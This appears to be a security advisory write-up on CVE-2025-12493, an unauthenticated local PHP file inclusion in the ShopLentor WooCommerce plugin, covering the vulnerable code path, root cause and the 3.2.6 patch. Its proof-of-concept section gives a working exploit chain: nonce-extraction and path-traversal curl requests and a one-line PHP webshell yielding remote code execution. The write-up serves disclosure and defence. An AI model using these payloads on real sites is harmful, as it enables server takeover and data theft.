CVE-2025-12493: Local PHP File Inclusion in ShopLentor
Table of Contents
CVE-2025-12493 is a CVSS 9.8 Critical unauthenticated local PHP file inclusion vulnerability in the ShopLentor – WooCommerce Builder for Elementor & Gutenberg +21 Modules WordPress plugin. Any site visitor can extract a public nonce from the page source. With that nonce, they can call the woolentor_load_more_products AJAX action and pass a path-traversal value in the style parameter. This lets them include and run arbitrary .php files on the server — achieving full remote code execution.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | ShopLentor – WooCommerce Builder for Elementor & Gutenberg +21 Modules – All in One Solution (formerly WooLentor) |
| Plugin Slug | woolentor-addons |
| CVE ID | CVE-2025-12493 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Local PHP File Inclusion via load_template |
| Affected Versions | <= 3.2.5 |
| Patched Version | 3.2.6 |
| Published | November 3, 2025 |
| Researcher | mikemyers |
| Wordfence Advisory | Link |
Description
ShopLentor (also known as WooLentor) is a WooCommerce page builder plugin for WordPress. All versions up to and including 3.2.5 are vulnerable to Local File Inclusion via the load_template function. Attackers with no login can use this to include and run arbitrary .php files already on the server. An attacker can bypass access controls, steal sensitive data, or achieve full code execution if they can upload a .php file to the server.
Technical Analysis
Vulnerable Code Path
The vulnerability has three connected parts:
1. Nonce Exposed Publicly — classes/class.assest_management.php:288
$localizeargs = array(
'woolentorajaxurl' => admin_url( 'admin-ajax.php' ),
'ajax_nonce' => wp_create_nonce( 'woolentor_psa_nonce' ),
);
wp_localize_script( 'woolentor-widgets-scripts', 'woolentor_addons', $localizeargs );
The nonce woolentor_psa_nonce is embedded in every public-facing page as the JavaScript variable woolentor_addons.ajax_nonce. Any site visitor — authenticated or not — can extract this value from the page HTML.
2. AJAX Handler Registered for Unauthenticated Users — classes/class.ajax_actions.php:40–43
// Load more products for product grid
add_action( 'wp_ajax_woolentor_load_more_products', [$this, 'load_more_products'] );
add_action( 'wp_ajax_nopriv_woolentor_load_more_products', [$this, 'load_more_products'] );
Since nopriv is registered, the load_more_products handler is callable by anyone — no login required.
3. The load_more_products Handler — classes/class.ajax_actions.php:213–248
public function load_more_products() {
if ( ! class_exists( 'WooLentor_Product_Grid_Base' ) ) {
require_once WOOLENTOR_ADDONS_PL_PATH . 'includes/addons/product-grid/base/class.product-grid-base.php';
}
$product_grid_base = new WooLentor_Product_Grid_Base();
// Verify nonce
if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'woolentor_psa_nonce' ) ) {
wp_send_json_error( array( 'message' => __( 'Security check failed', 'woolentor' ) ) );
}
// Get settings and page number
$page = isset( $_POST['page'] ) ? absint( $_POST['page'] ) : 2;
$setting_data = isset( $_POST['settings'] ) ? (is_string($_POST['settings']) ? stripslashes( $_POST['settings'] ) : '' ) : '';
$setting_data = json_decode( $setting_data, true ); // <-- attacker-controlled JSON
$view_layout = isset( $_POST['viewlayout'] ) ? $_POST['viewlayout'] : '';
if(!empty($view_layout)){
$setting_data['layout'] = $view_layout;
}
$setting_data['paged'] = $page;
ob_start();
$product_grid_base->render_items( $setting_data, true ); // <-- passes tainted $setting_data
$html = ob_get_clean();
wp_send_json_success( array( 'html' => $html, 'current_page' => $page ));
}
The POST body field settings is JSON-decoded without any sanitization. The code then passes $setting_data directly to render_items(), which passes $setting_data['style'] — fully controlled by the attacker — to load_template().
4. Unsanitized Template Resolution — includes/addons/product-grid/base/class.product-grid-base.php:302–321
public function get_template_path( $style, $layout = 'grid' ) {
$specific_template = $style . '.php';
$template_path = WOOLENTOR_ADDONS_PL_PATH . 'templates/product-grid/' . $specific_template;
return apply_filters( 'woolentor_product_grid_template_path', $template_path, $style, $layout );
}
public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
$template_path = $this->get_template_path( $style, $layout );
if ( file_exists( $template_path ) ) {
if ( ! function_exists( 'woocommerce_get_product_thumbnail' ) ) {
return;
}
include $template_path; // <-- direct PHP include of attacker-supplied path
}
}
Since there is no whitelist check, no sanitize_key(), and no path traversal prevention, $style flows straight into the file path. PHP’s include then executes whatever .php file the resolved path points to — including files reached via ../ sequences.
Root Cause
The root cause is a two-part failure:
- Missing input validation: The
stylekey extracted from$_POST['settings']JSON is never checked against the list of allowed styles (modern,minimalist,editorial, etc.) before being used to construct a file path. - Missing path containment:
get_template_path()uses naive string concatenation without callingrealpath()or verifying that the resolved path lies withintemplates/product-grid/. Astylevalue of../../../../wp-content/uploads/maliciousresolves entirely outside the intended directory.
Why Existing Controls Failed
One existing control — a nonce check — was meant to prevent unauthorized calls. However, it failed for a specific reason: the nonce was public.
The nonce check (wp_verify_nonce) looks like a guard, but it is not. The nonce itself is embedded in every public page via wp_localize_script, so anyone can read it. WordPress nonces are not secrets — they are anti-CSRF tokens tied to the current user session. For visitors who are not logged in, the nonce is generated for the zero-user context and stays valid for 24 hours. Any visitor can extract woolentor_addons.ajax_nonce from the page source and reuse it to pass the check.
The nonce only shows the request came from a page with the plugin’s scripts loaded. It does not check whether the caller is logged in or allowed to access files.
Attack Impact
Any attacker who can:
- Read any page that loads ShopLentor widgets (to get the nonce)
- Upload a
.phpfile via any means (a second vulnerability, a publicly-writable directory, or WooCommerce product image upload)
can achieve Remote Code Execution (RCE) by including and running the uploaded file. Even without a pre-uploaded file, the attacker can target existing PHP files on shared hosting (such as configuration files) to leak credentials.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
woolentor-addonsplugin installed and activated - WooCommerce active
- Plugin version <= 3.2.5
- A ShopLentor product grid widget placed on any public page
Step-by-Step Reproduction
Step 1: Extract the public nonce
Visit any page on the target site that renders a ShopLentor product grid (e.g., the homepage or a shop page). The nonce is embedded in the page’s inline JavaScript:
# Extract the nonce from the page source
NONCE=$(curl -s "http://target.example.com/shop/" \
| grep -oP '"ajax_nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
The output of woolentor_addons.ajax_nonce in the JavaScript object in the page source will be the raw nonce value.
Step 2: Prepare a PHP webshell (attacker-controlled server or upload)
For maximum impact, the attacker uploads a PHP file to the server. For example, using a WooCommerce product review image upload or another file-upload vulnerability:
<?php system($_GET['cmd']); ?>
Assume it lands at the WordPress uploads directory, e.g.:
/var/www/html/wp-content/uploads/2025/11/shell.php
Step 3: Trigger Local File Inclusion via the AJAX endpoint
Craft the style parameter to traverse out of the templates/product-grid/ directory and point at the uploaded shell. For a typical WordPress layout where the plugin is at wp-content/plugins/woolentor-addons/, the payload needs 4 levels of ../:
curl -s -X POST "http://target.example.com/wp-admin/admin-ajax.php" \
-d "action=woolentor_load_more_products" \
-d "nonce=${NONCE}" \
--data-urlencode 'settings={"style":"../../../../uploads/2025/11/shell","layout":"grid","posts_per_page":1,"query_type":"products","enable_pagination":false}'
The server constructs the path:
/var/www/html/wp-content/plugins/woolentor-addons/templates/product-grid/../../../../uploads/2025/11/shell.php
Which resolves to:
/var/www/html/wp-content/uploads/2025/11/shell.php
Step 4: Verify code execution
After the AJAX request, check the response. The included PHP file’s output will be embedded in the html field of the JSON response:
# With a webshell included, add a GET parameter to execute a command
curl -s -X POST "http://target.example.com/wp-admin/admin-ajax.php?cmd=id" \
-d "action=woolentor_load_more_products" \
-d "nonce=${NONCE}" \
--data-urlencode 'settings={"style":"../../../../uploads/2025/11/shell","layout":"grid","posts_per_page":1,"query_type":"products","enable_pagination":false}'
Expected Result
The JSON response will contain the output of id (or whatever command was injected) embedded in the data.html field, confirming RCE as the web server user.
Verification
Inspect the data.html field of the JSON response:
{
"success": true,
"data": {
"html": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n",
"current_page": 2
}
}
A non-empty command output in html confirms successful code execution.
Patch Analysis
What Changed
The patch modifies includes/addons/product-grid/base/class.product-grid-base.php with two layered defenses.
Fix Explanation
Defense 1 — Strict style whitelist in load_template():
public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
- $template_path = $this->get_template_path( $style, $layout );
+ $style = isset( $style ) ? sanitize_key( $style ) : 'modern';
+ if ( ! in_array( $style, $this->get_allowed_styles(), true ) ) {
+ $style = 'modern';
+ }
+ $template_path = $this->get_template_path( $style );
Before calling get_template_path(), the code now sanitizes $style with sanitize_key(), which removes special characters, directory separators, and dots. It then checks the value against a private allowlist from get_allowed_styles(). If the value is not in the list, it falls back to modern. In version 3.2.6, the allowlist contains only ['modern'].
Defense 2 — Path containment check in get_template_path():
-public function get_template_path( $style, $layout = 'grid' ) {
- $specific_template = $style . '.php';
- $template_path = WOOLENTOR_ADDONS_PL_PATH . 'templates/product-grid/' . $specific_template;
- return apply_filters( 'woolentor_product_grid_template_path', $template_path, $style, $layout );
-}
+private function get_template_path( string $style ) : string {
+ $base_dir = wp_normalize_path( WOOLENTOR_ADDONS_PL_PATH . 'templates/product-grid/' );
+ $candidate = wp_normalize_path( $base_dir . $style . '.php' );
+ $real_base = wp_normalize_path( realpath( $base_dir ) );
+ $real_target = wp_normalize_path( realpath( $candidate ) );
+
+ if ( ! $real_target || strpos( $real_target, $real_base ) !== 0 || ! is_file( $real_target ) ) {
+ $fallback = wp_normalize_path( $base_dir . 'modern.php' );
+ return is_file( $fallback ) ? $fallback : '';
+ }
+
+ return apply_filters( 'woolentor_product_grid_template_path', $real_target, $style );
+}
Even if the whitelist were bypassed, a second check protects the server. The new get_template_path() calls realpath() to find the true path on disk, then confirms that path starts with the expected templates/product-grid/ directory. Any path traversal sequence that escapes the directory is caught and replaced with the modern.php fallback.
The fix addresses the root cause at two independent layers — allowlist and path containment. This makes it resistant to both direct exploitation and filter-hook abuse.
Code Diff (Key Changes)
+ private function get_allowed_styles() : array {
+ return [
+ 'modern',
+ ];
+ }
public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
- $template_path = $this->get_template_path( $style, $layout );
+ $style = isset( $style ) ? sanitize_key( $style ) : 'modern';
+ if ( ! in_array( $style, $this->get_allowed_styles(), true ) ) {
+ $style = 'modern';
+ }
+ $template_path = $this->get_template_path( $style );
if ( file_exists( $template_path ) ) {
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by mikemyers |
| November 3, 2025 | Publicly disclosed by Wordfence |
| November 4, 2025 | Advisory updated; patched version 3.2.6 released |
Remediation
Update the woolentor-addons plugin to version 3.2.6 or later.
References
- https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/includes/addons/product-grid/base/class.product-grid-base.php#L378
- https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L241
- https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L213
- https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L42
- https://plugins.trac.wordpress.org/changeset/3388234/
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woolentor-addons/shoplentor-325-unauthenticated-local-php-file-inclusion-via-load-template
- https://www.cve.org/CVERecord?id=CVE-2025-12493